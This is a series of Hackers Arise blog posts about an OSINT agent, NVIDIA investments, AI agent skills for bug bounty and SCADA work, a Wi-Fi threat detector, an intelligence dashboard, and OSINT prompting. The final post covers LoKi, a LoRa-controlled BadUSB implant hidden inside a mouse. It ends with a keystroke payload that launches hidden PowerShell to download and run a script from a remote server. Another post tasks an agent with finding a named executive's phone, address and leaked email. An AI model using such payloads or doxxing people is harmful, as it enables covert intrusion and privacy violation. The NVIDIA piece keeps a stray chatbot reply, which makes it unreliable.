Welcome back, investigators!

Some things just lie on the surface, while others take time to find. In OSINT, finding the right data often means digging deep. Before you reach a conclusion, there must be solid evidence to support it, and data acquisition is always the most time consuming part of this process. The success of your investigation depends on how well you can find information and connect the dots.

OpenPlanter can automate part of this process. 

OpenPlanter

Essentially, OpenPlanter is a recursive language model investigation agent. It ingests different kinds of data, which can be corporate registries, campaign finance records, government contracts and more. It then resolves entities across them and surfaces connections through evidence-based analysis. You can also use it to build profiles of individuals based on publicly available information.

OpenPlanter has both a desktop GUI and a terminal interface. The second one is more convenient.

Setting Up

The setup process is quick. We just need to create a Python environment that will host the needed libraries. 

kali > git clone https://github.com/ShinMegamiBoson/OpenPlanter.git
kali > cd OpenPlanter
kali > python3 -m venv venv; source venv/bin/activate
kali > pip install -e . 

Once it’s done, we need to give it our API keys. 

To make web searches, OpenPlanter needs the Exa API. Exa is cheap to use and gives free credits for new accounts, so you don’t have to pay upfront. OpenRouter API is also needed to run the tool. OpenRouter has free AI models, but there is a daily usage limit. Make an account there and get your free API key. 

To configure keys, run this command and paste them: 

kali > openplanter-agent --configure-keys

At this point, you can use the tool.

Using OpenPlanter with OpenRouter

The daily API usage limit is enough to run a couple of basic tests, like the one below.

kali > openplanter-agent --task “Find recent security breaches affecting Apple” --provider openrouter --model openrouter/free

OpenPlanter will use Exa API key to find information. Without Exa, it burns tokens faster and gives incomplete results. 

Normally, the tool saves the results in a text file in the current directory, but it doesn’t always happen. Be careful and make sure you don’t lose anything. 

Here is our first report.

To make things more interesting, we asked it to find a complete list of Tatneft executives. Tatneft is one of the largest oil and gas companies in Russia.

The report was well organized, but all this information is readily available on the internet, due to the size of the Russian company. 

When it was asked to find more information on a specific person from the list above, it struggled to find much and ended up with some generic data and a wrong social media account. Well, maybe that person is hard to find, so we gave it a second chance and picked a unique name from the same list: Nail Ulfatovich Maganov.

kali > openplanter-agent --task "Find as much information as you can on Nail Ulfatovich Maganov who works at Tatneft. If possible, find his Vkontakte, phone number, address, email and check if his email has been in data leaks. Save the results in a text file" --provider openrouter --model openrouter/free

The results can be seen below. OpenPlanter did find his LinkedIn account and extracted information from various places. 

It also found OpenSanctions records associated with Nail Maganov. 

But he is a well known figure in Russia. What about regular employees at a large Russian company? We will use Sibur for this example. Founded in 1995, it’s Russia’s largest petrochemical company.

We tried two individuals. During the first attempt, the tool didn’t find the correct person. After the second attempt with a different employee, it gave the results. 

It found Svetlana’s position (Head of HR). This information was in her LinkedIn account. The rest of the information deserves further validation. Keep in mind, Russia has undergone a massive data blackout, systematically dismantling its open data and public statistics infrastructure. No wonder it’s hard to find things there.

Using OpenPlanter with Ollama – Locally

OpenPlanter’s own docs push toward frontier models (GPT-5.2, Claude Opus 4.6, Cerebras Qwen3-235B), because the whole process is quite demanding. Small local models will be noticeably weaker. But we still gave it a try. The first model was Qwen3:0.6B and its first attempt didn’t produce any results. After the second attempt, it found recent vulnerabilities that Windows had.

We also tried it with Qwen3:4b, but it produced absolutely irrelevant data in its response. 

We didn’t stop here and tried it again. The results were still irrelevant. Instead of making a report on Mikhail Karisalov (CEO of Sibur) it spoke about something else. 

Using OpenPlanter with Ollama – Remote Servers

If you decide to rent a server with good hardware to test other models, don’t waste your time on it. We tried various models, but none of them worked well. OpenPlanter calls a model, the model replies and then it fails. The output can be seen on the screen.

Here is an example with Qwen3.6:27b. Qwen3.6:35b had the same issue.

We also tried Ornith:35B.

These models support thinking and tooling, but they can’t really do much in this case. 

Terminal Interface

It’s also important to mention that there are two ways you can use OpenPlanter in the terminal. So far, you’ve seen only one. If you’re more comfortable with a chat interface, you can use the second option.

kali > openplanter-agent --provider openrouter --model openrouter/free

Here you run your prompts and tweak the tool using the available commands.

Summary

After testing the tool in various ways, we came to the conclusion that it works reliably only with OpenRouter. That’s what gave us the best results. The developers also push towards frontier models or OpenRouter. The whole process of investigation relies heavily on the Exa API. Using it with Ollama models hosted externally (VPS) will not work, as it fails silently even if you select a supported AI model. 

The tool might confuse people, especially if their names are common and their social media profiles are empty. Everything it finds deserves validation. Occasionally, it may check the results, marking them HIGH, MEDIUM or LOW depending on its confidence. It doesn’t always do it, but this can be fixed if the prompt explicitly asks for it. Most importantly, OpenPlanter can still save you time.

Learn more with our AI for Cybersecurity training. During the training, we’ll show you different ways of using AI in cybersecurity, set up local models and solve tasks with it.

The post Artificial Intelligence in Cybersecurity, Part 26: OpenPlanter for OSINT Investigations first appeared on Hackers Arise.

Welcome back, my aspiring cyberwarriors!

Many aspiring cyberwarriors write to me asking where they should start in artificial intelligence for cybersecurity and the answer is simple, Hackers-Arise! We have dozens of tutorials–and now classes– on how to apply AI to cybersecurity. In addition, we are the sponsor of the upcoming Wittgenstein Award for the best AI cybersecurity agents. This will give our students an inside look at the development of the best of the best in AI cybersecurity as our students will have an opportunity participate and use the models and agents we develop.

Beyond learning AI for cybersecurity, there is another issue. There are many platforms, models, and hardware to choose from. Comparable to Cisco at the advent of internet in the 1990’s, those who hitched their wagon to Cisco found themselves in an advantageous position regarding jobs and promotions. I want to make the case that NVIDIA is the company you should be hitching your wagon to in this new era.

As you know, NVIDIA is the most valuable company in the world! It is rapidly growing an eco-system that will exceed that of Apple and Cisco. They have quietly built an eco-system of AI that will make it very hard to dislodge them from this dominant position. Jensen Huang and NVIDIA are building an almost impenetrable wall around their eco-system assuring it will be here for years to come.

NVIDIA began as a start-up 1993 building graphics processing units (GPU) for PC gamers. Processing pixels for any graphics intensive product is very compute intensive and NVIDIA made those games come alive. Graphics processing is compute intensive as every image is made of millions of tiny polygons that the GPU must compute it’s size, color, and movement. This means crunching a vast amount of data and Jensen Huang and his colleagues developed a graphics card capable of doing all those calculations very fast through massive parallelism. GPU’s have thousands of cores capable of doing these calculations serially and simultaneously. That is the magic of NVIDIA GPU’s and it is what makes NVIDIA GPU’s the preferred chip for AI. Neural networks–the foundation of our LLM’s at this moment– are built almost entirely from matrix multiplications. This means that the same calculation needs to run over and over on different data. The NVIDIA GPU is uniquely designed for this.

Now let’s take a look at the NVIDIA eco-system that Jensen Huang is building in AI.

Major Equity Investments / Strategic Partnerships

Jensen Huang has made numerous investments in companies positioned to benefit from the coming age of AI, including:

Mellonox –in 2019 NVIDIA agrred to buy Mellanox, an Israeli maker of high-speed Infiniband and Ethernet interconnects for $6.9 billion. NVIDIA needed faster interconnects between to communicate to and from it’s super fast GPU’s and other hardware and Mellanox provided that.

ARM— the British chip designer was the next firm in NVIDIA’s cross-hairs. Jensen Huand recognized that needed powerful and efficient CPU’s to manage his systems. ARM designs RISC-based CPU’s that power the mobile world due to their unique combination of speed and efficiency. NVIDIA offered $40 billion to purchase ARM for what Huang called “the world’s premier computing company for the age of AI.” The US FTC sued to block the acquisition and NVIDIA dropped it’s pursuit of owning ARM. Instead, it holds ARM and it’s CPU’s in close partnership integrating their CPU’s in a multitude of products. Interestingly, ARM is now worth about $250 billion, 6x what Huang offered for it just 6 years ago.

OpenAI — NVIDIA and OpenAI announced a letter of intent to deploy at least 10 gigawatts of NVIDIA systems, with NVIDIA intending to invest up to $100 billion in OpenAI progressively as each gigawatt is deployed. Earlier in 2026, OpenAI raised $110 billion at a $730 billion pre-money valuation, with NVIDIA and SoftBank each investing $30 billion and Amazon investing $50 billion. NVIDIA also noted in its 10-K ( a type of disclosure required by US regulators at the SEC) that it’s finalizing an investment and partnership agreement with OpenAI, though there’s no assurance the transaction will be completed.

Anthropic — NVIDIA and Anthropic announced a deep technology partnership to optimize Claude models for NVIDIA architecture and vice versa; Anthropic’s Series H in May 2026 raised $65 billion at a $965 billion post-money valuation, making it one of NVIDIA’s two largest single-company bets alongside OpenAI.

CoreWeave — NVIDIA holds a stake with an original 7% stake (24.2 million shares) worth roughly $2 billion at IPO, plus an additional $2 billion investment in early 2026, on top of a prior $6.3 billion agreement to purchase CoreWeave’s unused computing capacity through 2032.

xAI — A structure of $7.5 billion in equity plus $12.5 billion in debt, largely through a special purpose vehicle for GPU purchases, supporting xAI’s Colossus 2 data center in Memphis.

Hugging Face — A pending acquisition-related investment of $12.9 billion.

Mistral AI — NVIDIA remains an investor alongside lead backer ASML, with Mistral valued at €11.7 billion (about $13.8 billion).

AI Infrastructure Financing

In August of this year (2026), NVIDIA announced a partnership with some of the largest financial firms in the world including Apollo, BlackRock, Brookfield, Goldman Sachs, and KKR. This partnership was designed to facilitate financing of AI infrastructure and, of course, NVIDIA GPU’s.

Venture / Ecosystem Programs

A roughly £2 billion (~$2.6 billion) UK commitment flowing through partner VCs — Accel, Air Street Capital, Balderton, Hoxton Ventures, and Phoenix Court — into startups in London, Oxford, Cambridge, and Manchester.

Similar “VC Alliance” partnerships extended to European firms including Accel, Elaia, Partech, and Sofinnova, offering DGX Cloud Lepton marketplace credits to portfolio companies.

Scale

NVIDIA has committed over $50 billion across AI labs, cloud services, data centers, and optical communications, with private company assets reaching $47.9 billion by July 2026 and about $18 billion in equity commitments still to be executed.

This list isn’t exhaustive — NVIDIA also has long-standing commercial partnerships with cloud providers (AWS, Microsoft Azure, Google Cloud, Oracle), automakers, and chip/hardware partners that function differently from these financial stakes. Let me know if you’d like me to dig into any particular category.

Summary

NVIDIA and Jensen Huang have quietly built an almost impenetrable eco-system of artificial intelligence systems through acquisitions, partnerships, and financing. Similar to the eco-system CISCO built with networking equipment at the advent of the Internet, it will be advantageous to become part of this eco-system as it will likely be dominant for the foreseeable future.

The post The NVIDIA AI Ecosystem: A Quick Guide first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Sometimes you might run the same model twice and get different results. That often happens when you’ve upgraded it with skills. Skills are detailed text documents that lay out the tools the model should use, the approach it should take and how it should analyze the results. Good skills are practical, pulled from actual reports on HackerOne and other bug bounty platforms. A model can still lean on its own knowledge, but that’s just less efficient.

There are plenty of skills out there you might come across, but not everything can be trusted. Some skills can simply be dangerous and infect your system. To make sure they are safe, you can check them with SkillSpector by NVIDIA, so you don’t end up with anything malicious on your system.

Bug Bounty Skills

Both of these repositories do bug bounty hunting end to end, but they go about it in almost opposite ways.

The first is called Bountyforge. It’s actually just one single skill file, but it’s smart enough to split itself into eight different mini agents that all work at the same time. One looks at websites and apps, another at crypto and blockchain, others go after different angles hackers can exploit. It also checks each finding with four different tests to make sure it’s not a false alarm. Then you get a report in whatever format the bug bounty program wants.

You don’t even need Claude Code or any other coding tool for this, you can just run it right inside the regular Claude website in your browser.

The second bug bounty repository is Claude-BugHunter. It takes the opposite approach. The repo has 83 skills and almost half of those were built by studying 681 real bug reports that people actually got paid for on HackerOne. These skills aren’t locked to Claude Code either, you can use OpenCode, Codex or Hermes Agents with them.

Here are a few examples of the results we got with these skills.

API endpoints are often vulnerable and this is worth trying your luck on to see how it goes.

Another approach can be APK reverse engineering. Here we found a hardcoded RSA-2048 signing private key baked into the published APK. With that key, hackers can push a new app to the app store and infect every employee phone, getting access not just to the WiFi network at the workplace but to their personal life too. Quite dangerous.

We found an API endpoint vulnerable to an SQL injection and managed to pull the entire database.

Having skills built on real attacks keeps the model from wandering off into its own weird approaches and missing a lot of good findings. 

Active Directory Skills

Claude-AD was made by ADScanPro for testing a company’s internal network. It gives your model a playbook with skills and agents built for an Active Directory assessment. The developers are upfront that it’s not an auto pwn tool. It’s meant to guide you through the assessment. Every finding can get mapped to a compliance control (DORA, NIS2 and ENS).

Claude-AD is very careful about getting caught too. It explains what a security team would actually see on their end if that technique got used. And any time it’s about to do something that would actually change things on the company’s network, it stops and asks for confirmation first.

General Cybersecurity Skills

Antropic-Cybersecurity-Skills is basically a giant reference book. It has 817 skills covering 29 areas of security work, cloud security, malware analysis, all the way down to hardware and firmware. Each skill is its own small file, so your agent will quickly pull out the two or three it actually needs for its task.

Every skill ties back to real security frameworks that companies and auditors already use (NIST CSF, MITRE ATT&CK and so on). So if your model finds a problem using one of these skills, it can also tell you exactly which official standard it violates. You can use it to justify findings to a compliance team.

SCADA Skills

On an industrial network, a clumsy scan can shut down a production line or damage physical equipment, since a lot of this gear is old and wasn’t built to handle unexpected traffic. That’s why the ICS skill by Masriyan is built to never actively touch a live industrial network. Instead, it works off network captures someone already took. It reads the file, recognizes industrial protocols by the ports they normally run on (Modbus, DNP3, Siemens S7, EtherNet/IP, OPC-UA, and more) and counts which devices are talking to each other. It then shows you write commands, these are the ones that change a value on an industrial device. That’s the traffic you want to see first.

The second mode skips network captures and instead searches for exposed industrial equipment using Shodan and Censys. The skill can also help your model reason about how an industrial network is laid out and check findings against MITRE’s ICS specific attack framework and the IEC 62443 security standard.

Science Skills

Although science isn’t really what we want to focus on here, in one of our SCADA articles we mentioned that to carry out a successful attack requires hackers to understand the technical process of the plant. That means understanding how the chemicals are produced and which units are used along the way. We also showed how vinyl acetate is produced and talked about paracetamol production.

1 kg of paracetamol at 100% purity was reported to cost €8,205, while 1 kg at 99% purity cost just €5. So even a single day of sabotage could cause serious financial damage to an enterprise.

Finding a scientist among hackers is quite a challenge, which is why Stuxnet needed a group of people from different backgrounds working toward one objective. But now hackers can just import different skills to make their attacks more devastating. K-Dense published 140 skills with access to different scientific databases and Python tools.

The real concern here isn’t ICS exploits inside the repository, there aren’t any. It’s the access to sensitive scientific data paired with an AI agent that can actually understand that data and change it.

Summary

AI skills can be a gamechanger, especially when they’re based on actual reports hackers got paid for. These skills show your model how to approach things and what tools to use during the test, so it doesn’t wander off hallucinating and inventing its own ways of testing things. That can wreck your bug bounty flow, since you’ll end up overlooking plenty of potential targets.

Simply relying on the AI to find things isn’t enough, hunters that do it keep getting a lot of dupes. You need to test things manually too. For this reason we created our Bug Bounty training to show you how to find bugs and work with the AI more efficiently.

The post Artificial Intelligence (AI) in Cybersecurity, Part 25: Upgrading Your Model with Specific Skillset first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Wireless security monitoring in the 2.4 GHz spectrum often depends on active probing, which can not only make the monitoring infrastructure vulnerable to attackers but also clutter the radio frequency environment. On the other hand, taking a passive approach by listening without transmitting allows security teams to detect malicious wireless activity more discreetly and reliably.

To put this idea into practice, the project Travel WiFi Canary was developed. This system serves as an early-warning mechanism using ESP32 microcontrollers. By operating the Wi-Fi radio in promiscuous mode, the device passively captures raw IEEE 802.11 management frames and traffic patterns. This helps identify potential threats such as deauthentication attacks, beacon spam, rogue access points often referred to as Evil Twins, and unauthorized probe requests. Eventually, it provides comprehensive insights into the wireless environment, enabling you to act proactively rather than reactively.

In this article, we will guide you through configuring, flashing, and running Travel WiFi Canary on the LilyGo T3 V1.6.1 development platform. Let’s get rolling!

What is Travel WiFi Canary?

The Travel WiFi Canary is a project that turns a low-cost ESP32 microcontroller into a passive 2.4 GHz threat-detection device. It operates continuously by alternating between active network enumeration and passive promiscuous packet capturing across specified channels.

At its core, the device’s Wi-Fi chip listens directly to raw radio signals passing through the air rather than connecting to a specific network.

When a wireless signal arrives, a fast automated responder checks the basic structure of the incoming data instantly. It identifies network management signals, such as connection requests, disconnection commands, or nearby network announcements, and separates them from standard web traffic.

To handle intense bursts of wireless activity without getting overwhelmed or missing crucial information, the chip places these flagged security signals into a temporary holding queue. This allows the main system to process and analyze the data safely in the background while keeping the hardware radio free to capture new incoming signals without interruption.

The central intelligence of the project relies on a dynamic confidence-scoring engine rather than rigid binary alerts. As the system processes the ring queues and periodic active scans, it evaluates detected anomalies against a local memory table built during the startup baseline phase.

Active scans check nearby Access Points for structural security violations. If an Access Point using an encrypted baseline protocol like WPA2 or WPA3 is detected operating without encryption, the system identifies an open clone attack. Security downgrades, unexpected vendor prefix mismatches on familiar SSIDs, or sudden disappearances of legitimate Access Points during an active open broadcast instantly contribute points to the global confidence score.

Simultaneously, the passive sniffer thread drains the lock-free queues to detect airborne attacks. Deauthentication frame floods are monitored over rolling time windows, assigning score penalties if threshold limits are breached by single sources or broadcast addresses.

The sniffer also inspects the payload fields inside beacon frames to detect Pwnagotchi signatures, parsing JSON structures hidden in vendor tags to determine if the device is operating in an active attack state.

All calculated points feed into a unified state machine. Aggregate scores between zero and two keep the device in a normal state, scores between three and five push it into a caution state, and scores of six or higher escalate the device into an active alert state.

To prevent temporary radio noise or brief packet anomalies from causing permanent alarm states, a background timer executes a score decay routine every minute. This routine gradually reduces the aggregate threat score over time, allowing the system to automatically transition back to a normal state once threat vectors clear the area. Hardware outputs, such as status LEDs or connected display controllers, continuously mirror the internal state variable to provide real-time visual monitoring.

What is LilyGo T3 V1.6.1?

The Travel WiFi Canary was initially made for the M5Stack Atom Lite development board. However, in this demonstration, I will test it on the LilyGo T3 V1.6.1.

The LilyGo T3 V1.6.1, also called the TTGO T3 LoRa32 V1.6.1, is an open-source development board designed for Internet of Things (IoT) projects and long-range RF communication. It has an ESP32 chip that allows for packet sniffing and Wi-Fi scanning. It gives us all the necessary functionality for wireless threat detection required by the Travel WiFi Canary project.

Getting Started with Travel WiFi Canary

The best way to flash the Travel WiFi Canary is by using Visual Studio Code along with the PlatformIO IDE extension. The installation process is fairly simple, so let’s move on to the next step, which is cloning the repository. I will use the modified version designed for the LilyGo T3 device. Here’s the command to do that:

kali> git clone https://github.com/AirClick-Code/esp32-wifi-canary.git

Next, connect your LilyGo T3 V1.6.1 to your computer using a data-capable Micro-USB cable. In Visual Studio Code, click on the PlatformIO status bar at the bottom and select env:esp32dev. Then, you can either click the checkmark icon in the status bar or press Ctrl+Alt+B to compile the firmware.

Once that is complete, click the right arrow icon in the status bar to start the upload process. PlatformIO will automatically detect the serial port, trigger the ESP32 to enter bootloader mode via auto-reset circuitry using the DTR and RTS lines, erase the necessary flash sectors, and upload the binaries seamlessly.

After the upload is complete, you can monitor the device with the built-in command:

pio device monitor -b 115200

At this point, the state machine and scanning engine are fully operational. During its initial scan, it detected seven nearby access points, recording their SSIDs, BSSIDs, signal strengths, channels, and encryption methods in memory.

Now, let’s simulate an open clone of a known encrypted network. The README file provides the following instructions:

I created a Wi-Fi access point from my phone with the same name as the network to which my system is connected, but without a password. Let’s observe how the WiFi Canary responds.

The script successfully identified the clone and granted 4 points to the score, changing the state to caution. The rogue open clone remained active in the following 20-second scan with a strong RSSI, adding another 4 points, which brought the total score to 8 and changed the state to alert. At the 310-second mark, the decay timer activated, decreasing the score from 8 to 7. However, since the score remained above the SCORE_ALERT threshold of 6 or higher, the system continued to maintain its alert state until the threat was resolved and the score naturally decayed back to zero.

Limitations

Despite the benefits of confidence scoring in reducing unexpected alerts, the possibility of false positives still exists. This is particularly true in enterprise networks, multi-node mesh setups, and crowded public venues, which can display behaviors that resemble attack patterns. On the flip side, false negatives may arise if a skilled attacker impersonates a legitimate BSSID while carefully adjusting their transmission power to fit in with normal signal strength variations, thus evading detection.

The limitations of the physical hardware create additional coverage boundaries. Passive detection of deauthentication relies heavily on the distance from the receiving device, meaning that low-power or far-off transmitters may be beyond the reach of the antenna. Furthermore, monitoring is confined solely to the 2.4 GHz spectrum, leaving the 5 GHz and 6 GHz bands completely unmonitored.

Lastly, the design of the radio architecture leads to a temporary gap in scanning whenever the chip switches between promiscuous packet sniffing and active environment scanning, resulting in a three-second blind spot where airborne deauthentication bursts can go unnoticed.

Summary

For many travelers and remote workers, understanding whether the Wi-Fi around them is secure is crucial. Private messages and sensitive information can be easily compromised when malicious actors set up fake hotspots or disrupt local connections. A device like the Travel WiFi Canary can continuously monitor the airwaves and alert you the moment a wireless attack is detected.

This device uses active Wi-Fi scanning and passive signal listening to find threats in real time. It constantly checks nearby networks against a trusted standard to spot fake open hotspots, duplicate routers, or security issues. At the same time, it listens for harmful activities like deauthentication attacks or rogue scanning tools. When it detects a threat, it raises a danger level with an internal scoring system and triggers a clear visual alarm. This alerts you immediately, giving you a warning before your devices may face any risk.

If you’re interested in improving your knowledge of wireless security, take a look at our Wi-Fi Hacking training. This course will guide you on how to assess the security of wireless networks and equip you with modern strategies to protect them effectively.

The post Building a Pocket Wi-Fi Threat Detector first appeared on Hackers Arise.

Welcome back, aspiring investigators!

We recently updated our article on ShadowBroker, which a lot of you liked. The latest release brought some new features and made the dashboard even richer.

But ShadowBroker is resource intensive and might need you to allocate a good chunk of resources to your VM, which not all systems have. Instead, there’s Osiris and it can do similar things without any installation. You can run it in the browser or host it on your Kali. Both versions are identical.

Osiris

Osiris is a global intelligence dashboard that aggregates live flight tracking, CCTV, earthquake monitoring, conflict zone mapping and 24/7 news feeds. It’s made to give you situational awareness across multiple intelligence domains. The tool was built with Next.js 16 and MapLibre GL and every data point is rendered via WebGL for 60fps performance even with thousands of concurrent entities on screen.

Dashboard

Let’s start with the live version. It’s available here.

The world looks busy once you enable all the data layers on the left side of the screen.

Camera Feeds

There’s a huge number of cameras available around the world that are free to access. They are usually scattered across different websites and don’t look nearly as good as they do on a map. The dashboard has integrated a big number of them, marked with green dots on the map.

Here’s a camera in Toronto. Looks empty at 5 am.

Aircraft Tracking

All kinds of aircraft and maritime vehicles can be tracked. Not only that, you can do a deep dive on the intel available for each one. Below you can see we picked a random flight over the UAE and the dashboard pulled up the company it belongs to, Tim Clark who is the CEO and some publicly known information on him.

You can do similar things with other objects on the map.

So if you’re monitoring military activity in a certain region, that can come in handy.

Critical Infrastructure

There are different data assets you can display by clicking the database icon on the right side of the screen. The data is relevant for various places, but mostly for the US.

Above you can see the critical infrastructure in New York (red) and nationwide (yellow).

Conflicts and Dangerous Zones

Wars, tensions and threats are differentiated by color and notes are assigned to each with a severity level.

Market Analysis

When someone loses, someone else wins. Osiris can do some Market AI overview, which you obviously shouldn’t take as legit advice. But you can see it does some basic analysis and warns of potential price spikes.

Satellite Tracking

All kinds of satellites are available on the dashboard and they can also be tracked. Here you can see Starlink flying over the Atlantic and Canada.

Malware Threats

Finally, you can view malware threats and attacks on the map. There was a big node in China linked to a lot of attacks, with more scattered around the rest of the country.

Hosting Locally

Although the live version is stable and its uptime is good, you might still want to run it locally. It’s pretty easy to set up:

kali > sudo apt install npm
kali > git clone https://github.com/simplifaisoul/osiris.git
kali > cd osiris
kali > npm audit fix --force
kali > npm run dev

Then it’ll be available at http://localhost:3000

Summary

As you can see, there are different platforms available for different setups. Having compared the two, ShadowBroker looks richer and more professional, but Osiris hosts a live version you can use without any installation and it already has most of what you’d want to test. The installation itself is quick and easy and the dashboard consumes way fewer resources than ShadowBroker. Test it yourself and see what you like.

You can learn more with us! Get our Cybersecurity Starter Bundle II and unlock WiFi Hacking, Python for Hackers, Radio Basics and other training.

The post Open Source Intelligence (OSINT): Using Osiris for Global Intelligence first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Every OSINT investigator now has access to a large language model on their desktop. This tool can quickly summarize thousands of pages or organize chaotic names and dates into a clear timeline. And this is widely accepted. But the difference between an investigator who gets useful results and one who gathers unhelpful information lies not in the model they use, but in how they interact with it.

This article explains how to create prompts that improve your OSINT work. It draws on recent academic research about prompting strategies for security tasks and insights from experienced OSINT practitioners. Let’s get rolling!

Prompt Is More Important Than the Model

Recent research on large language models in offensive security tasks highlights an important point. Methods that relied on reasoning, such as few-shot and chain-of-thought prompting, produced better results. These methods generated code that closely matched the reference examples, executed correctly, and handled various situations well.

One surprising finding was that continuously refining a prompt or asking the model to rethink its answer often resulted in worse outcomes. This happened because rephrasing the prompt misinterpreted the original task and lowered the accuracy of the output. So, repeatedly saying “try again” or “are you sure” is not an effective debugging strategy. If your first prompt was unclear, it is better to follow up with a clear and structured prompt rather than trying to steer the model to a better answer afterward.

Focus on crafting clear instructions at the beginning.

Create a Master Prompt Before You Begin

Before discussing a specific OSINT case, it’s a good practice to create a master prompt. This set of rules, though not related to the target, guides how the model should perform during the session.

This approach uses a well-known idea called anchoring. The first instructions you give to a model have a big influence on all the following interactions. If your first message includes a leading assumption, the model will consider that assumption important for the rest of the conversation, even if you didn’t mean for it to be.

A strong master prompt might look something like this.

Act as a neutral OSINT analyst. Do not treat any hypothesis as proven. Separate facts, indicators, assumptions, and conclusions. Look for evidence against a theory as actively as evidence for it. If the available data is insufficient, say so directly instead of filling the gap.

In other words, this is the initial set of instructions that the AI will follow throughout the entire time you’re working on the task. This reduces the number of errors because it explains to the model in advance exactly how to proceed and which rules to follow.

Basically, a master prompt should specify:

the role;

the goal of the task;

neutrality;

verification rules;

the response format;

a prohibition on unconfirmed conclusions and fabrications;

a requirement to distinguish facts from hypotheses;

a requirement to indicate what is missing.

And then you can set a specific task: what you’re looking for, who you’re looking for, what time period you’re covering, what sources you already have, and so on.

Ask Neutrally

One important but often overlooked issue in AI-assisted open-source intelligence is sycophancy. This happens when a model tends to agree with what the user already believes. For example, if you ask, “prove that this person is connected to this company,” the model starts with the answer you want before it even begins its search. It will look for information that confirms your belief simply because that’s what you asked for.

To fix this, you need to change how you phrase your requests. Instead of using words like “prove,” “confirm,” or “expose,” use “check” or “assess.” Don’t present your suspicions as facts. Phrases like “I already know” or “I am certain” lead the model to validate your beliefs rather than question them. Instead, ask it to build arguments for and against your theory, suggest different explanations, and counter your own ideas.

Specific Prompts You Can Use in Your Own Investigations

Theory is useful, but what most investigators actually want is something they can paste into a chat window tonight. Below are working examples for common OSINT tasks.

For digging into a person’s background, a strong prompt reads something like this.

Act as a neutral OSINT analyst. I am researching a public figure named [name], active in [industry or region]. Using only the material I provide below, build a table of confirmed facts with a source for each one. Separate anything that is an inference or a pattern from anything that is a documented fact. Flag contradictions between sources. Do not draw a conclusion about the person's character or intentions, only report what the material actually supports.

For sorting through a pile of scraped social media posts or forum threads, the goal is structure and pattern detection rather than interpretation.

Read the following set of posts and extract every name, date, location, and organization mentioned. Group them into a timeline ordered by date. Note any account that repeats phrasing found in another account, since that may indicate coordinated rather than organic activity, but do not conclude that it is coordinated, only flag it for review.

For checking a corporate or business connection, the earlier example from this article works well as a template, but it is worth repeating in full because it demonstrates every rule at once.

Assess a possible connection between [subject] and [company] between 2020 and 2025. Use only the material provided. Produce a table with columns for fact, source, supporting detail, confidence level, and what still needs verification. Search for evidence against the connection as thoroughly as evidence for it. List the weak points in the theory separately at the end.

For translating and analyzing foreign language material, always ask for the original text alongside the translation, since that preserves your ability to verify tone, sarcasm, and slang later.

Translate the following text into English. Preserve the original text beside the translation. If any phrase relies on slang, sarcasm, or local idiom that may not translate directly, mark it and explain the likely intended meaning separately from the literal translation.

For comparing multiple documents or reports covering the same event, the model’s strength is spotting overlap and divergence quickly, provided you tell it not to resolve the divergence for you.

Compare the following three reports about the same event. List every claim that all three sources agree on, every claim only one source makes, and every direct contradiction between them. Do not decide which source is correct, only present the disagreement clearly.

And for stress testing your own working theory before it goes into a report, a short adversarial prompt catches more mistakes than another hour of reading.

Here is my working theory: [state theory]. Argue against it as convincingly as you can, using only the evidence already provided in this conversation. Then list what additional evidence, if it existed, would be needed to make the theory solid.

Summary

Carefully written prompts that encourage reasoning are more effective than careless, repetitive prompts. Another important point is that a claim from the model is just a suggestion, not a fact, until you check the source yourself. Even as the tool improves, it’s still your job to decide what is a true finding and what is just a coincidence.

We also invite you to join our AI for Cybersecurity training. During the training, we’ll show you different ways of using AI in cybersecurity, set up local models and solve labs. The field is evolving rapidly and the sooner you learn things, the greater the advantage you’ll have. There’s no reason to resist AI. It’s a tool to master.

The post Artificial Intelligence (AI) in Cybersecurity, Part 24: Prompts That Will Supercharge Your OSINT Research first appeared on Hackers Arise.

Welcome back, cyberwarriors!

We’ve had different series on building your own BadUSB. Together we built a hacking drone and a WiFi Pineapple to test wireless devices. Aircorridor covered Meshtastic, secured his node and showed how it works in different conditions.

Today, we want to show you LoKi, which is a LoRa/Meshtastic based implant for red teaming. You can send commands to a LoKi device using long range (LoRa) radio signals and it runs whatever it was asked to, creating backdoors or setting up a reverse shell with a C2. You can get really creative here.

LoKi 

LoKi came out recently and was presented at DEF CON 34 in the Demo Labs. Essentially, it’s a BadUSB HID device that looks like a computer mouse and works just the same. There’s nothing suspicious about it and the victim won’t notice anything.

Here’s how its architecture looks. On the left you’ve got multiple Meshtastic devices forming a mesh network. One of them sends a command over LoRa radio to the implant. The LoRa module receives the message and converts it into USB HID keystrokes, like a RubberDucky. Those keystrokes then go into the USB hub.

The original mouse electronics (Mouse USB Header) are also connected to the same USB hub, but the USB cable that used to run straight from the mouse PCB to the computer gets cut. The LoRa implant and the original mouse are now wired through the USB hub instead. The red lines show this new path.

Hardware

For the LoRa module the developer picked the Heltec V3 Lite. He used the Heltec V3 with the OLED display for prototyping, but the V3 Lite draws less power and you can easily fit it into wired USB mice. The Heltec V3 also has an extra USB port that you can configure as any device class, but we need the HID device class for this attack. The onboard USB with the type C connection is a fixed CDC class for programming and debugging. You can’t change that.

For the USB hub he picked the Adafruit CH334F. It’s a tiny 2 port hub that’s a perfect fit for this project.

And here’s a photo of his early prototype.

Schematics

The Heltec V3 and V3 Lite devices have the additional USB port on different pins. The one below is for the Heltec V3 Lite.

Here the Heltec Wireless Stick Lite is connected to one port of the Adafruit CH334F USB hub using its secondary USB data lines (GPIO20 as D+ and GPIO19 as D-), along with 5V and ground. These pins are configured in firmware as a USB HID keyboard, so the board can inject keystrokes. The original mouse’s USB header is wired to the second port of the same hub using the standard color coded wires (red for 5V, green for D+, white for D-, and black for ground), so the mouse keeps functioning normally.

The host side of the hub is connected to the mouse’s original USB cable, which then plugs into the target computer. That way one USB connection carries both the genuine mouse and the hidden keyboard implant.

Firmware

The implant runs a modified version of the official Meshtastic firmware, which you can find here. It’s a fork of the Meshtastic code with custom additions for the implant. You can send the same style of commands used by the USB Rubber Ducky (STRING, DELAY, GUI, CTRL, ENTER, and so on). The firmware only works with direct messages addressed to the implant and ignores normal broadcast chat traffic, so ordinary Meshtastic messages can’t accidentally trigger keystrokes.

You can use PlatformIO to flash the firmware.

Payloads

The project doesn’t really include any payload, so you’ll need to come up with your own. Here are some payloads we made for you:

Download and execute a payload:

GUI r
DELAY 1000
STRING powershell -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://yourserver/payload.ps1')"
ENTER

